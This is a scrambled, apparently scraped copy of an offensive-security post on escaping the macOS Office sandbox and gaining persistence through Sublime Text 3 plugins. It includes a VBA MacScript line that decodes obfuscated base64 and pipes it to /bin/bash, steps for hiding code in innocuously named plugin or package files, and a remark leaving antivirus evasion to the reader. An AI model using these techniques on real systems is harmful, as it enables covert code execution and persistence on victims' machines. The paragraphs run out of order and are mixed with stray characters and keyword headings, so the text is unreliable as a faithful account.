Str = str + "UuY29t元dhdGNoP3Y9b0hnNVNKWVJIQTA7IG9wZW4g" Str = str + "c3lzdGVtKCJvcGVuIGh0dHBzOi8vd3d3LnlvdXR1Ym" Str = str + "V4ZWMoYi5iNjRkZWNvZGUoJ2ltcG9ydCBvczsgb3Mu" Str = "ZWNobyAiaW1wb3J0IGJhc2U2NCBhcyBiLCBzeXM7IG" AV and EDR avoidance obviously up to you. Leaving you with something like the following. P = "echo \" import base64, exec(base64.b64decode(' MacScript "do shell script ""echo \\ "" " & Str & " \\ "" | /usr/bin/base64 -D | /bin/bash"" "
#Mac sublime text 3 run macro code#
Or rather than the code snippet, copy the binary sublime-package file to the Installed Packages to provide some obfuscation. So how do we leverage all that to seamlessly escape the Office sandbox? The following code snippet is sufficient to have Sublime execute Python of our choosing outside the sandbox.
% cd ~/Library/Application\ Support/Sublime\ Text\ 3/Packages/legitimate Note: I did run into some issues with Package Control not compiling my code on macOS, but manually compiling before creating the package seemed to get things working. This file can now be copied to ~/Library/Application Support/Sublime Text 3/Installed Packages/ or %APPDATA%\Sublime Text 3\Installed Packages\ where Sublime will automatically pick it up and run your code. It can be any Python code, but if you want to play nice with Sublime, the following template will work.Ĭat > ~/Library/Application Support/Sublime Text 3/Packages/legitimate.py Create Package > legitimate > DefaultĪnd your new package file will be at ~/Desktop/test.sublime-package. In the Packages directory, create a file package-control.py or other innocuously named file. If you can write to %APPDATA%\Sublime Text 3\Packages\ or $HOME/Library/Application Support/Sublime Text 3/Packages/ you can create a plugin to help you out. If Sublime is already running, you can call c:\Program Files\Sublime Text 3\subl.exe and it will reload those files.īut maybe you can’t write to C:\Program Files or want to keep things a bit more covert. When Sublime next starts, your code will run.
If you have the permissions to edit files in C:\Program Files\, you can simply edit sublime.py or sublime_plugin.py for your persistence needs. Sublime leverages Python for its plugin ecosystem. That post also covers some good detection method as well. Leo Pitt also outlined its usage with JXA and Apfell here. Prior art by theevilbit is worth a quick read and that post goes into persisting in Python imports and others applications.
I’m certainly not the first to leverage Sublime for persistence.
#Mac sublime text 3 run macro free#
Feel free to skip to the end if you’re not interested in the Sublime Plugin aspect. There are likely a plethora of creative options but having Sublime Text installed I found a nice option for escaping the Office sandbox.
Recent patches have precluded directly writing to LaunchAgents or Application Scripts but files can still be written to other user writable paths as long as they start with ~$.
0 kommentar(er)
